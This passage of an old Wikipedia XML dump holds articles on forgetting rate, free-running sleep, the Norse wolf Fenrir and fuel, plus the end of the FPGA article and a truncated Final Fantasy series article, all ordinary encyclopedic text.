* [http://www.synplicity.com/literature/syndicated/ Syndicated] a webzine about FPGA &amp; ASIC
* [http://www.the-states-online.com/fpga.html fpga design]
* [http://www.retromicro.com/ Retromicro] FPGA experiments
* [http://www.fpgarelated.com/ FPGARelated.com] Web access to comp.arch.fpga + books and resources.

----

''Note: FPGAs should not be confused with [[Flip-chip pin grid array]], a form of integrated circuit packaging.''

[[Category:Digital electronics]]
[[Category:Gate arrays]]
[[Category:Electronic design automation]]

[[de:Field Programmable Gate Array]]
[[es:FPGA]]
[[fr:Circuit logique programmable]]
[[it:FPGA]]
[[nl:FPGA]]
[[pl:Field Programmable Gate Array]]
[[ro:FPGA]]
[[sv:FPGA]]</text>
    </revision>
  </page>
  <page>
    <title>Forgetting rate</title>
    <id>10970</id>
    <revision>
      <id>15908759</id>
      <timestamp>2004-08-22T00:16:32Z</timestamp>
      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
      </contributor>
      <text xml:space="preserve">The '''forgetting rate''' is the rate at which material that has been memorised is forgotten over time.

In 1885, [[Hermann Ebbinghaus]] discovered the [[exponential decay|exponential]] nature of [[forgetting]]. We can roughly describe the forgetting rate by ''R'' = ''e''&lt;sup&gt;(&amp;minus;''t''/''S'')&lt;/sup&gt;,  where ''R'' is [[memory retention]], ''S'' is the relative [[strength of memory]], and ''t'' is [[time]]. Thus, strength of memory (''S'') is the best way to represent the forgetting rate.

For example, if you learn a foreign word today, you usually have only a 90% chance of remembering it after several days. 

The forgetting rate tends to decrease after each repetition.  Some strategies for learning aim to reduce forgetting by [[spaced repetition]], by which the learned material is reviewed repeatedly.  The spacing between the repetitions is adjusted so that the material is reviewed before it would have been forgotten.

==See also==
*[[forgetting curve]]</text>
    </revision>
  </page>
  <page>
    <title>Free-running sleep</title>
    <id>10971</id>
    <revision>
      <id>37138585</id>
      <timestamp>2006-01-28T23:31:55Z</timestamp>
      <contributor>
        <username>Tnikkel</username>
        <id>83978</id>
      </contributor>
      <text xml:space="preserve">:''For other meanings of '''free running''', see [[free running]].''

'''Free-running sleep''' is [[sleep]] that is not artificially regulated.  It is used as a form of [[chronotherapy]] that can help to cure some [[sleep disorder]]s.  Most people in the industrial world cannot afford free-running sleep. Only a small part of the population can sleep in a perfect 24 hour cycle and in synchrony with the schedules demanded by work and family.  The most typical violation of free-running sleep is the use of an [[alarm clock]].  Another violation is staying awake past one's accustomed bedtime in spite of drowsiness.  (Staying up late when one is not sleepy does not violate free-running sleep.)  Going to sleep too early (e.g. to force longer sleep before early arising) may also disturb the free-running [[sleep cycle]].

[[Category:Sleep]]</text>
    </revision>
  </page>
  <page>
    <title>Fenrisulfr</title>
    <id>10972</id>
    <revision>
      <id>41359136</id>
      <timestamp>2006-02-26T21:08:40Z</timestamp>
      <contributor>
        <username>Calm</username>
        <id>55611</id>
      </contributor>
      <minor />
      <comment>rvv</comment>
      <text xml:space="preserve">:''See [[Fenris Ulf]] for the character in the Narnia stories. Fenrir redirects here. See [[Fenrir (disambiguation)]] for other uses.''

[[Image:Tyr and Fenrir.jpg|right|250px|thumb|According to the [[Edda]] Fenrisulfr bites off the 
hand of [[Tyr|Týr]] ([[John Bauer]], 1911)]]

In [[Norse mythology]], the '''Fenrisulfr''', '''Wolf of Fenrir''', '''Fenris''' or simply '''Fenrir''' is a monstrous [[wolf]], the son of [[Loki]] and the [[giantess]] [[Angrboda|Angrboða]]. Fenrir is bound by the gods, but is ultimately destined to grow too large for his bonds and devour [[Odin]] during the course of [[Ragnarök]]. At that time he will have grown so large that his upper jaw touches the sky while his lower touches the earth when he gapes. After killing Odin he will be slain by Odin's son, [[Vidar|Viðarr]], who will either stab him in the heart or rip his jaws asunder according to different accounts. 

The most important source of our information about Fenrir appears in the &quot;Gylfaginning&quot; section of [[Snorri Sturluson]]'s ''[[Edda]]'', although there are other, often contradictory, accounts and sources which need to be assessed (e.g. in [[Lokasenna]] [[Loki]] threatens [[Thor]] with destruction by Fenrir at the forthcoming Ragnarök once Fenrir has destroyed Odin).

[[Image:Fenris Ledbergsstenen 20041231.jpg|left|200px|thumb|Wolf images on the [[Ledberg stone]].]]

Fenrir has two sons, [[Hati]] ('hate') and [[Skoll]]. These sons chase the horses [[Arvak|Árvakr]] and [[Alsvid|Alsviðr]], that drag the chariot which contains the [[sun]]. [[Hati]] also chases [[Mani (god)|Máni]], the [[moon]]. 'Skoll', in certain circumstances, is used as a [[heiti]] to refer indirectly to the father (Fenrir) and not the son. This ambiguity works in the other direction also, for example in the [[Vafþrúðnismál]], where a confusion exists in stanza 46 where Fenrir is given the sun-chasing attributes of his son Skoll.

Learning from the prophecy of the sybil (cf. [[Völuspá]]) and  from his contest with [[Vafþrúðnir]] (related in [[Vafþrúðnismál]]) that the children of Loki and Angrboða would bring trouble to the gods, [[Odin]] had the wolf brought to him along with his brother [[Jormungand|Jörmungandr]] and his sister [[Hel (goddess)|Hel]]. 

After casting Jörmungandr into the sea and Hel down into the land of the dead, Odin had the wolf raised among the [[Æsir]]. Only the god [[Tyr|Týr]] was daring enough to feed the growing monster. The gods urged by the wolf's increasing strength and by prophecies that he would be their destruction, attempted to bind the great beast. Twice he agreed to be chained and twice easily burst out of two successive fetters. The first, made of iron, was called L&amp;oelig;ðingr. The second, also of iron, but of twice the strength, was called Drómi.

Odin then had the [[Norse dwarves|dwarfs]] forge the chain [[Gleipnir]] (&quot;deceiver&quot; or &quot;entangler&quot;). It appeared to be only a silken ribbon but was made of six wondrous ingredients: the sound of a cat's footfall, the beard of a woman, the roots of a mountain, bear's sinews (meaning nerves, sensibility), fish's breath, and bird's spittle (which explains why these things are not found today). [[Skirnir|Skírnir]], [[Freyr]]'s messenger, brought it back to [[Asgard|Ásgarðr]].

Then, in the island called Lyngvi (&quot;Heathery&quot;) in the lake called Ámsvartnir 'Red-black' (places unknown to us), the gods challenged Fenrisulfr to break this chain also. But the wolf noted the thinness and fineness of construction of Gleipnir and not unreasonably suspected a trick. He agreed to make the test only if one of the gods was willing to place his hand in the wolf's mouth during the binding as a pledge to free him if he failed to break the chain. No god was willing to do this, until Týr stood forth and placed his hand in the wolf's mouth. Fenrisulfr strained to burst the chain but the more he struggled the tighter he was held. When the gods would not free him, the wolf bit off Týr's hand at the wrist, the point afterwards called &quot;the wolf joint&quot;.

[[Image:Fenrir bound manuscript image.jpg|right|thumb|400px|A river flows from bound Fenrir's mouth in this illustration from a [[17th century]] [[Iceland]]ic manuscript.]]

Then, as told by Snorri in Brodeur's translation:
&lt;blockquote&gt;When the Æsir saw that the Wolf was fully bound, they took the chain that was fast to the fetter, and which is called Gelgja 'Thin', and passed it through a great rock&amp;mdash;it is called [[Gioll|Gjöll]] 'Scream'&amp;mdash;and fixed the rock deep down into the earth. Then they took a great stone and drove it yet deeper into the earth&amp;mdash;it was called Thviti&amp;mdash;and used the stone for a fastening-pin. The Wolf gaped terribly, and thrashed about and strove to bite them; they thrust into his mouth a certain sword: the guards caught in his lower jaw, and the point in the upper; that is his gag. He howls hideously, and slaver runs out of his mouth: that is the river called Ván 'Hope'; there he lies till the Weird of the Gods.&lt;/blockquote&gt;

It is prophesied that at Ragnarök the wolf will at last break free and join forces with the enemies of the gods and will then devour Odin himself. After that Viðarr, Odin's son, will slay the wolf to avenge his father, either with a sword through the heart, or by tearing apart the wolf after placing one foot shod with a special shoe on its lower jaw and one hand on its upper jaw.

[[Image:Manuscript Fenrir.jpg|right|thumb|250px|Týr losing his hand is a scene that has provoked the imagination of artists throughout the centuries. This illustration is from an [[18th century]] [[Iceland]]ic manuscript.]]

==Other names==
*Fenrisúlfr
*Fenris Wolf (a translation of Fenrisulfr)
*Dominous Wolfous (a translation of Irish)
*Fenrir (along with Fenris as one of the more accepted)
*Hróðvitnir, 'the famous wolf'

{{NorseMythology}}

[[Category:Creatures in Norse mythology]]
[[Category:Mythological dogs]]

[[ca:Fenrir]]
[[cs:Fenrir]]
[[da:Fenrisulven]]
[[de:Fenriswolf]]
[[es:Fenrir]]
[[fr:Fenrir]]
[[gl:Fenrir]]
[[is:Fenrisúlfur]]
[[it:Fenrir]]
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[[nl:Fenrir]]
[[ja:フェンリル]]
[[no:Fenrisulven]]
[[nn:Fenrisulven]]
[[pl:Fenrir]]
[[pt:Fenris]]
[[ru:Фенрир]]
[[fi:Fenris]]
[[sv:Fenrisulven]]
[[uk:Фенрір]]</text>
    </revision>
  </page>
  <page>
    <title>Fuel</title>
    <id>10973</id>
    <revision>
      <id>38656255</id>
      <timestamp>2006-02-07T20:06:23Z</timestamp>
      <contributor>
        <ip>216.230.71.132</ip>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">:''For information on the band, see [[Fuel (band)]].''
:''For the workstation, see [[SGI Fuel]]''.

'''Fuel''' is a material with one type of [[energy]] which can be transformed into another usable energy. A common example is [[potential energy]] being converted into [[kinetic energy]], (as [[heat]] and [[mechanical work]]). In many cases this is just something that will [[combustion|burn]].


===Solid fuels===

[[Image:Coal.jpg|150px|thumb|A lump of coal.]]
There are many different types of fuel. [[Solid fuel]]s include [[coal]], [[wood]] and [[peat]]. All these types of fuel are combustible (they create fire and heat). Coal was burnt by [[steam]] [[rail transport|trains]] to heat water into steam to move parts and provide power. Peat and wood are mainly used for domestic and industrial heating, though peat has been used for [[power generation]], and wood-burning steam [[locomotive]]s were common in times past. Steam power is becoming more and more desirable as oil and gas supplies begin to run out, given the wide number of possible things that can [[combustion|burn]] to heat water.

===Liquid and gas fuels===

Non-solid fuels include [[petroleum]] and [[gas]] (both fuel types have myriad varieties including [[petrol]] (gasoline) and [[natural gas]]). The former is widely used in the [[internal combustion engine]] while both are used in power generation. 

===Nuclear fuels===

In a [[nuclear reactor|nuclear reaction]] a radioactive fuel will undergo [[nuclear fission|fission]]. This provides a useful source of [[energy]] without combustion. Also, in [[star]]s (and our sun), [[hydrogen]] (a gas) is the fuel for the [[nuclear fusion]].

==Other fuel==

[[Image:hydrogengas.jpg|frame|Hydrogen Gas in a Flask (it is colourless).]]
[[Hydrogen]] also features as an upcoming fuel for automobiles with [[Oxygen]] in the [[Fuel Cell]]. This involves a reaction where the hydrogen and oxygen react to produce water (H&lt;sub&gt;2&lt;/sub&gt;O) and electrical energy, however most of the energy comes from turning hydrogen into electrons which is electricity and protons using platinum as a catalyst, which, then can supply an electrical motor in order to run a car (or a variety of other uses). In this reaction the [[chemical energy]] of the chemicals is converted into [[electrical energy]] due to [[redox]].

[[Carbohydrate]]s, [[fat]]s, and [[protein]]s, derived from food, are the fuels for biological systems. For instance, glucose (a simple carbohydrate) combines with oxygen to produce water, carbon-dioxide, and a release of energy. In the bodies of most animals, the released energy is used by the [[muscle]]s.&lt;br&gt;&lt;br&gt;

==Fuel values==
''Main article: [[Fuel value]].''

The ''fuel value'' is the quantity of [[potential energy]] in a [[food]] or other substance.

==See also==
*[[List of energy topics]]
*[[Solid fuel]]
*[[Liquid fuels]]
*[[Gas fuel]]
*[[Alcohol fuel]]
*[[Biomass]]
*[[Biofuel]]
*[[Fuel oil]]
*[[Fossil fuel]]
*[[Propellant]]
*[[Combustion]]
*[[Hydrocarbon]]
*[[Oxidation]]

==External links==
* [http://www.southerngrease.com Alternative Fuels - Beginner's tutorial on using alternative fuels in a diesel engine]

&lt;!--Categories--&gt;

[[Category:Fuels|*]]
[[Category:Energy development]]

&lt;!--Interwiki--&gt;

[[bg:Гориво]]
[[ca:Combustible]]
[[de:Kraftstoff]]
[[es:Combustible]]
[[eo:Bruligaĵo]]
[[fa:سوخت]]
[[fr:Combustible]]
[[ko:연료]]
[[id:Bahan bakar]]
[[it:Combustibile]]
[[he:דלק]]
[[nl:Brandstof]]
[[ja:燃料]]
[[no:Brensel]]
[[pl:Paliwo]]
[[pt:Combustível]]
[[ru:Топливо]]
[[simple:Fuel]]
[[sl:Gorivo]]
[[sv:Bränsle]]
[[ta:எரிபொருள்]]
[[zh:可燃物]]</text>
    </revision>
  </page>
  <page>
    <title>Final Fantasy</title>
    <id>10974</id>
    <revision>
      <id>42134265</id>
      <timestamp>2006-03-04T01:20:01Z</timestamp>
      <contributor>
        <username>Seancdaug</username>
        <id>132265</id>
      </contributor>
      <comment>/* Design */ removed last two sentences of first paragraph. See talk page.</comment>
      <text xml:space="preserve">&lt;!-- NOTICE:
This article is already very big. If you wish to add a large amount of information please consider adding it to one of the Many Final Fantasy sub-articles instead. Thanks.
--&gt;
:''This article is about the Final Fantasy series. For the first game in the series, see [[Final Fantasy (video game)]]. For the movie, see [[Final Fantasy: The Spirits Within]]. For the Toronto-based musical project of the same name, see [[Owen Pallett]].''

[[Image:Final Fantasy series logo.svg|256px|right|Japanese series logo, which also appears in the post-16-bit era North American localizations]]
[[Image:Final Fantasy North American logo.png|256px|right|Logo which appeared in the 16-bit era North American localizations]]

'''''Final Fantasy''''' ([[Japanese language|Japanese]]: {{lang|ja|&amp;#12501;&amp;#12449;&amp;#12452;&amp;#12490;&amp;#12523;&amp;#12501;&amp;#12449;&amp;#12531;&amp;#12479;&amp;#12472;&amp;#12540;}} ''Fainaru Fantajī'') is a popular series of [[computer role-playing game|role playing games]] produced by [[Square Enix]] (originally [[Square Co., Ltd.]]). It may be the most widely distributed game series of all time, including both standard [[video game console|console]] games and [[portable|portable game]]s, a [[MMORPG|massively multiplayer online role-playing game]], games for [[mobile phone]]s, three [[anime]] productions, and two full length [[computer-generated imagery|CGI]] [[film]]s. 

The first installment of the series premiered in [[Japan]] in 1987, and ''Final Fantasy'' games have subsequently been [[Software localization|localized]] for markets in [[North America]], [[Europe]] and [[Australia]], on several modern [[video game console]]s, including the [[Nintendo Entertainment System]], the [[MSX#MSX 2|MSX 2]], the [[Super Nintendo Entertainment System]], the [[PlayStation]], the [[WonderSwan Color]], the [[PlayStation 2]], [[IBM PC compatible]], [[Game Boy Advance]], [[Nintendo GameCube]], and several different models of [[mobile phone]]s. Future installments have been announced to appear on the [[Nintendo DS]], [[Nintendo Revolution]], [[PlayStation Portable]], [[PlayStation 3]] and [[Xbox 360]] game systems. It is Square Enix's most successful franchise, having sold over 60 million units worldwide to date. 

As of late 2005, ten games have been released in North America as part of the main (numbered) series, as well as many other spinoffs and related titles. The unreleased third entry in the series is an upcoming Nintendo DS release. North American release details have not been announced. 

== Overview ==
Square Co., Ltd. first entered the Japanese [[Computer and video game industry|video game industry]] in the mid 1980s, developing a variety of simple RPGs for [[Nintendo]]'s [[Famicom Disk System]] (FDS), a disk-based [[peripheral]] for the Family Computer (also known as the &quot;Famicom,&quot; and known internationally as the ''Nintendo Entertainment System''). By 1987, declining interest in the FDS had placed Square on the verge of  [[bankruptcy]]. At approximately the same time, Square designer [[Hironobu Sakaguchi]] began work on an ambitious new fantasy role playing game for the cartridge-based Famicom, inspired in part by [[Enix]]'s popular ''[[Dragon Quest]]'' (known in the [[United States]] as ''Dragon Warrior''). (At the time, Enix and Square were seperate companies; they did not merge until about 17 years later.) Sakaguchi had plans to retire after the completion of the project so he named it ''[[Final Fantasy (video game)|Final Fantasy]]'' because it was his final game, although it was also going to be Square's final game. In fact, it's commonly believed that the game was named ''Final Fantasy'' because of Square and not Sakaguchi, although Sakaguchi himself has confirmed it was named because of his plans for retirement. Either way, ''Final Fantasy'' turned out to be far from being Square's or Sakaguchi's last game. ''Final Fantasy'' reversed Square's lagging fortunes, and became their flagship franchise. 

Following the success of the first game, Square quickly began work on a [[sequel]]. Unlike a typical sequel, ''[[Final Fantasy II]]'' featured entirely different characters, with a setting and story bearing only thematic similarities to its predecessor. This unusual approach to sequels has continued throughout the series, with each major ''Final Fantasy'' game introducing a new world, and a new system of [[gameplay]]. Many elements and themes would recur throughout the series, but there would be no direct sequels until the release of ''[[Final Fantasy X-2]]'', in 2003 (after the [[Mergers and acquisitions|merger]] with [[Enix]] however, real game sequels have become increasingly prevalent). In a way, the ''Final Fantasy'' series has been a creative showcase for Square's developers, and many elements originally introduced in the series have made their way into Square's other titles, most notably two of its other major franchises, ''[[SaGa]]'' and ''[[Seiken Densetsu]]''.

== Common themes ==
[[Image:Final Fantasy IV JAP Airship.png|thumb|right|256px|[[Final Fantasy airships|Airships]] have appeared in almost every ''Final Fantasy'' game (''[[Final Fantasy IV]]'' shown).]]
Though each ''Final Fantasy'' story is independent, many themes and elements of gameplay recur throughout the series.  Some spin-off titles have cameo appearances of characters from preceeding stories. But in most cases merely the names are reused, so that each game has its own unique collection of characters. From the strong influence of history, literature, human psyche, religion and mythology on the story to the frequent reappearance of certain monsters, characters, and items, these shared elements provide a unifying framework to the series. The exception to this trend is Final Fantasy X-2, which is a continuation of X.

Some key objects and concepts that have appeared in more than one ''Final Fantasy'' game include:

* '''[[Final Fantasy airships|Airships]]''' &amp;mdash; Powerful airborne vessels which usually serve as a primary mode of transportation for the player, enabling fast movement nearly anywhere in the [[overworld]] without the risk of [[random encounter|random encounters]]. In many games, most notably ''[[Final Fantasy IV]]'' and ''[[Final Fantasy IX]]'' , the presence of airships is a key component to the story itself. In most of the titles, airships generally had the appearance of flying sailing ships with a series of propellers instead of sails. However, in some of the later games they look more technological, appearing to be zeppelins or even ornate space ships.  In the games in which the player has full control over the airship and can fly throughout the world, the game map wraps both horizontally and vertically, implying that the planet is [[toroid|toroidal]].
* '''[[Final Fantasy character classes|Character classes]] and the Job system''' &amp;mdash; Playable character classes have included the [[Warrior (character class)|Fighter]]; [[White Mage|White]], [[Black Mage|Black]], [[Red Mage|Red]], and [[Blue Mage]]s; [[Monk (character class)|Monk]]; and [[Thief (character class)|Thief]]. Even in games where the player is not given the choice of choosing class alignment, these classes often play an important background role in the story. Additionally, several installments in the series (''[[Final Fantasy III]]'', ''[[Final Fantasy V]]'', ''[[Final Fantasy XI]]'' and ''[[Final Fantasy Tactics]]'') have utilized a &quot;Job&quot; system wherein the player is able to switch character classes in between battles. In ''[[Final Fantasy X-2]]'', the &quot;Dressphere&quot; system actually allowed a player to switch a character's job during the middle of a fight. In addition to this, certain recurring legendary weapons and spells may be granted to certain classes, such as the sword [[Masamune (video game weapon)|Masamune]] for the Ninja, or the Black Mage's ''[[Final Fantasy magic#Ultima|Ultima]]'' spell.
* '''Magical styles''' (see also [[Final Fantasy magic]]) &amp;mdash; Magic in the ''Final Fantasy'' series is generally divided into different schools, which are usually named after a specific color. ''[[Magic (paranormal)|White magic]]'' and ''[[Black magic]]'' represent healing/support and attack magic, respectively, while ''Red magic'' incorporates elements of both healing and attack magic, at reduced effectiveness. Later additions have included ''Blue magic'' (sometimes referred to as ''Lore'' or ''Enemy skill''), which incorporates specific special attacks learned from monsters, and ''Time/Space magic'', which includes status affecting spells such as ''Haste'' and gravity spells such as ''Demi''. The most recent magic set is called ''Green Magic'', first appearing as Songs in ''Final Fantasy X-2'', then as a fully separate magic type in demos of ''[[Final Fantasy XII]]''. ''Green Magic'' introduces skills which were previously classified as ''Black'' or ''White magic'', such as ''Darkness'' and ''Petrification''.
* '''[[Status effects|Status ailments]] and cures:''' Characters in ''Final Fantasy'' games are usually subject to a number of standard &quot;status ailments&quot; which cause deleterious effects, including silence, poison, petrification and confusion. While these are present in many console RPGs, ''Final Fantasy'' also has a standard list of items which may be used to cure specific ailments (for example, the &quot;Echo Screen&quot; cures silence, and &quot;Soft&quot; cures petrification), as well as magical spells, such as ''Esuna'' or ''Panacea''. 
* '''Creatures/monsters''' &amp;mdash; Fictional creatures such as ''[[Chocobo]]s'' and ''[[Moogle]]s'' have appeared in most games in the series. Certain monsters also reappear frequently, including ''Goblins'', ''[[Tonberry]]s'' and ''[[Cactuar]]s''. Lastly, [[summon magic (Final Fantasy)|summoned monsters]] (also known as Espers, Guardian Forces, Eidolons, Avatars or Aeons) such as [[Bahamut (fiction)|Bahamut]], [[Shiva]], [[Ifrit#Ifrit in Square Enix projects|Ifrit]], and [[Leviathan]] have appeared in almost every title in the series.
* '''Character names''' &amp;mdash; A character named &quot;[[Cid (Final Fantasy)|Cid]]&quot; has been present in every ''Final Fantasy'' game since ''Final Fantasy II'' (with a simple mention in ''[[Final Fantasy Origins]]'' and ''[[Final Fantasy I &amp; II: Dawn of Souls]]''). Although he is never the same individual, he is usually presented as an owner, creator, and/or pilot of '''airships'''. The motion picture ''[[Final Fantasy: The Spirits Within]]'' also featured a character named &quot;Sid,&quot; presumably an alternate spelling of the more traditional &quot;Cid.&quot; In a similar vein, characters named [[Biggs and Wedge]] (homages to the ''[[Star Wars]]'' characters [[List of minor Rebel characters in Star Wars#Darklighter, Biggs|Biggs Darklighter]] and [[Wedge Antilles]]) have appeared in ''[[Final Fantasy VI]]'' to ''Final Fantasy X-2''. Other repeated names include Gogo (''Final Fantasy V'' and ''Final Fantasy VI''), Gilgamesh (''Final Fantasy V'', ''Final Fantasy VIII'', ''Final Fantasy IX'', and ''Final Fantasy XI''), Lonewolf the Pickpocket (''Final Fantasy V'' and ''Final Fantasy VI''), and Sara (''[[Final Fantasy (video game)|Final Fantasy]]'', ''Final Fantasy III'', ''Final Fantasy V'', and ''Final Fantasy IX''). The surname Highwind has also been used by several characters in the series: [[List of Final Fantasy II characters#Ricard Highwind|Ricard Highwind]] (''[[Final Fantasy II]]''), [[Kain Highwind]] (''Final Fantasy IV''), King Alexander Highwind Tycoon (''Final Fantasy V''), and [[Cid Highwind]] (''[[Final Fantasy VII]]'').  Highwind also appears as the name of the gummi ship in the ''Final Fantasy''-[[The Walt Disney Company|Disney]] crossover game ''[[Kingdom Hearts]]''.
* '''Plot elements''' &amp;mdash; Many entries in the ''Final Fantasy'' series involve broadly similar plot points, such as rebellion against a major economic, political, or religious power, a struggle against an evil which threatens to overtake or destroy the world, or nature versus technology. One of the most famous of such recurring themes involves [[Classical element|elemental]] crystals, which have appeared in over half of the titles of the series (''Final Fantasy'', ''Final Fantasy III'', ''Final Fantasy IV'', ''Final Fantasy V'', ''Final Fantasy IX'', and ''Final Fantasy XI''), as well as in several spin-off titles (''Final Fantasy Mystic Quest'', ''Final Fantasy Tactics Advance'' and ''Final Fantasy Crystal Chronicles'').

== Design ==
:''See also: [[List of Final Fantasy designers]]''
[[Image:Ff6 magitek.jpg|thumb|right|[[Yoshitaka Amano]] designed the characters for the first six ''Final Fantasy'' games, as well as providing some [[Conceptual art|conceptual artwork]] for ''Final Fantasy VII'' and ''Final Fantasy IX''.]]
Artistic design, including character and monster design work, was handled by renowned Japanese artist [[Yoshitaka Amano]] from ''Final Fantasy'' through ''Final Fantasy VI''. Following Amano's departure, he was replaced with [[Tetsuya Nomura]], who continued to work with the series through ''[[Final Fantasy X]]'', with the exception of ''Final Fantasy IX'', where character design was handled by Shukou Murase, Toshiyuki Itahana and Shin Nagasawa. 

[[Akihiko Yoshida]], who served as character designer for the spinoff title ''Final Fantasy Tactics'', as well as the Square-produced ''[[Vagrant Story]]'', has been announced as the designer of the upcoming ''[[Final Fantasy XII]]''.

In October 2003, [[Kazushige Nojima]], the series' principle scenario writer, resigned from Square Enix to form his own company, [[Stellavista]]. He partially or completely wrote the stories for ''[[Final Fantasy VII]]'', ''[[Final Fantasy VIII]]'', ''Final Fantasy IX'', ''Final Fantasy X'', and ''Final Fantasy X-2''. Square Enix continues to [[outsourcing|outsource]] story and scenario work to Nojima and Stellavista.

== Music ==
:''Main article: [[Final Fantasy music]]''
[[Image:Black Mages Above The Sky AfterShow.jpg|thumb|left|256px|[[Nobuo Uematsu]] (middle) and [[The Black Mages]], a [[hard rock]] band that has released two albums of [[arrangement|arranged]] ''Final Fantasy'' music.]]
[[Nobuo Uematsu]] was the chief [[composer|music composer]] of the Final Fantasy series until his resignation from Square Enix in November 2004. His music has played a large part in the popularity of the ''Final Fantasy'' franchise abroad. In the [[2004 Summer Olympics]], the American [[synchronized swimming]] duo consisting of Alison Bartosik and Anna Kozlova were awarded the bronze medal for their performance to music from ''Final Fantasy VIII''. Uematsu is also involved with the rock group [[The Black Mages]], which has released two albums of [[arrangement|arranged]] ''Final Fantasy'' tunes. Other composers who have contributed to the series include [[Masashi Hamauzu]] and [[Junya Nakano]].

There have already been two successful runs of Final Fantasy concerts in Japan as of 2004. ''Final Fantasy'' [[soundtrack]]s and [[sheet music]] are also increasingly popular amongst non-Japanese ''Final Fantasy'' fans and have even been performed by the [[London Symphony Orchestra]]. On [[November 17]], [[2003]], Square Enix U.S.A. launched an [[America Online]] radio station dedicated to music from the Final Fantasy series, initially carrying complete tracks from ''[[Final Fantasy XI]]'' in addition to [[Sampling (music)|samplings]] from ''Final Fantasy VII'' through ''Final Fantasy X''. Many video game and [[Musical Instrument Digital Interface|MIDI]] [[World Wide Web|world wide web]] sites offer renditions of ''Final Fantasy'' musical pieces.

Due to overwhelming demand, and the overwhelming success of the first ''Final Fantasy'' concert performed by the [[Los Angeles Philharmonic|Los Angeles Philharmonic Orchestra]] at [[Walt Disney Concert Hall]] on [[May 10]], [[2004]], the [[Dear Friends: Music From Final Fantasy]] concert tour was established, starting February 2005. Music from Final Fantasy was first performed outside of Japan as a part of the [[Symphonic Game Music Concert]] series in [[Germany]].  The ''Final Fantasy'' soundtracks have also joined the catalogue of the [[iTunes Music Store]].

While the music in the games offers wide variety, there are some frequently reused themes. The games often open with a piece called ''Prelude'', which is actually based on one of [[Johann Sebastian Bach|Bach]]'s [[Prelude (music)|preludes]]. It is a simple [[Musical terminology#A|arpeggio]] theme in the early games, with further melodies added in later games. The battle sequences that end in victory for the player in the first ten installments of the series would be accompanied by a victory fanfare that used the same nine-note sequence to begin the fanfare, and it has become one of the most recognized pieces of music relating to the ''Final Fantasy'' series. Other memorable tunes include the Chocobo's theme, the Moogle's theme, and a piece originally called &quot;Ahead On Our Way&quot; in ''Final Fantasy I'', which was in fact the opening theme and which is now usually played during the ending credits of the game and called &quot;Prologue&quot;.

Notably in the character-driven ''Final Fantasy'' incarnations, a significant element in each game's musical score is the use of [[leitmotif]]s. A leitmotif, popularized by [[Romantic Era]] composer [[Richard Wagner]], can be described as a 'theme melody' for a specific character, situation, or other entity. In nearly all ''Final Fantasy'' games, the most important characters and plot elements have their own theme music. For example, in ''Final Fantasy VII'', the song &quot;Anxious Heart&quot; is generally played whenever the main character's troubled past is brought up in the storyline.

== Graphics and technology ==
=== The [[History of video games (8-bit era)|8-bit]] and [[History of video games (16-bit era)|16-bit]] generations ===
[[Image:Final Fantasy I Battle.png|256px|right|thumb|[[Screenshot]] of ''[[Final Fantasy (video game)|Final Fantasy]]'' during a battle.]]
''Final Fantasy'' began on the [[Nintendo Entertainment System|Nintendo Family Computer]] (also known as the &quot;Famicom,&quot; and known internationally as the ''Nintendo Entertainment System'') as ''Final Fantasy'' in 1987, and was joined by two sequels, ''Final Fantasy II'' (re-released on the [[PlayStation]] and [[Game Boy Advance]] worldwide) and ''Final Fantasy III'' (only released in Japan). On the main world screen, small [[Sprite (computer graphics)|sprite]] representations of the leading party member were displayed because of graphical limitations, while in battle screens, more detailed, full versions of all characters would appear in a side view perspective.

The same basic system was used in the next three games, ''Final Fantasy IV'', ''Final Fantasy V'', and ''Final Fantasy VI'', for the [[Super Nintendo Entertainment System|Super Famicom]] (known internationally as the ''Super Nintendo Entertainment System''). These games utilized updated graphics and effects, as well as higher quality music and sound than in previous games, but were otherwise similar to their predecessors in basic design.

The text of the Japanese versions of early ''Final Fantasy'' games was comprised purely of [[kana]]. Much of the dialogue was simply clumps of text, making it especially hard for older gamers and foreigners learning Japanese. Finally, in ''Final Fantasy V'', the games began to use [[kanji]]. This would continue to get more advanced in ''Final Fantasy VI'', and the trend would continue to make the games much more erudite.

=== [[Compact disc|CD]]/[[DVD]]-based generations ===
[[Image:FFVII cutscene aeris.jpg|thumb|right|256px|''[[Final Fantasy VII]]'' was the first game in the series to incorporate [[full motion video]].]]
In the late 16-bit generation, Squaresoft [[Final Fantasy VI: The Interactive CG Game|showcased a preview]] of Final Fantasy for the next generation. However, 1997 saw the release of ''Final Fantasy VII'' for the [[PlayStation]] and not [[Nintendo 64]] as many had originally anticipated. The characters and entire game world were now [[3D computer graphics|3-dimensional]], with fully [[Rendering (computer graphics)|pre-rendered]] backgrounds. ''Final Fantasy VII'' was also the first ''Final Fantasy'' game to use [[full motion video]] sequences, part of the reason why the game spanned a full three [[CD-ROM]]s. However, ''Final Fantasy VII''&lt;nowiki&gt;'&lt;/nowiki&gt;s FMVs often lacked consistency, with character models resembling their realtime counterparts in one scene, and then extremely detailed in the next.

''Final Fantasy VII'' is often regarded as the game that dawned RPGs into a whole new cinematic experience, and without a doubt boosted the popularity of RPGs ever since.

Released shortly after ''Final Fantasy VII'', the spinoff title ''Final Fantasy Tactics'', once again utilized sprites for the characters. As the only real user-interaction outside of battle was menu-driven, the developers saw no need for fully [[3D computer graphics|3D]]-rendered overhead graphics, although the battle area was in 3D.  This title was also the first tactics based RPG in the series.  It also had another spinoff on [[Nintendo]] [[Game Boy Advance]].

Starting with ''Final Fantasy VIII'', the series adopted a more [[Photorealism|photo-realistic]] look. Like ''Final Fantasy VII'', some full motion video sequences utilized a display technique wherein video would play in the background while the polygon characters would be composited on top. 

''Final Fantasy IX'' returned briefly to the more stylized design of earlier games in the series, but maintained most of the graphical techniques utilized in the previous two games in the series.

''Final Fantasy X'' was released on the [[PlayStation 2]], and made use of the much more powerful hardware to render many cutscenes in real-time, rather than displayed in pre-rendered video. Also, rather than having 3D models moving about in pre-rendered backgrounds, the game featured full 3D environments, giving it a much more dynamic look. It was also the first Final Fantasy game to introduce full voice-acting throughout the whole game, even with many minor characters. This aspect added a whole new dimension of depth to the character's reactions, emotions, and development. ''Final Fantasy X-2'' utilized the same game engine as ''Final Fantasy X'', and was aesthetically not much different.

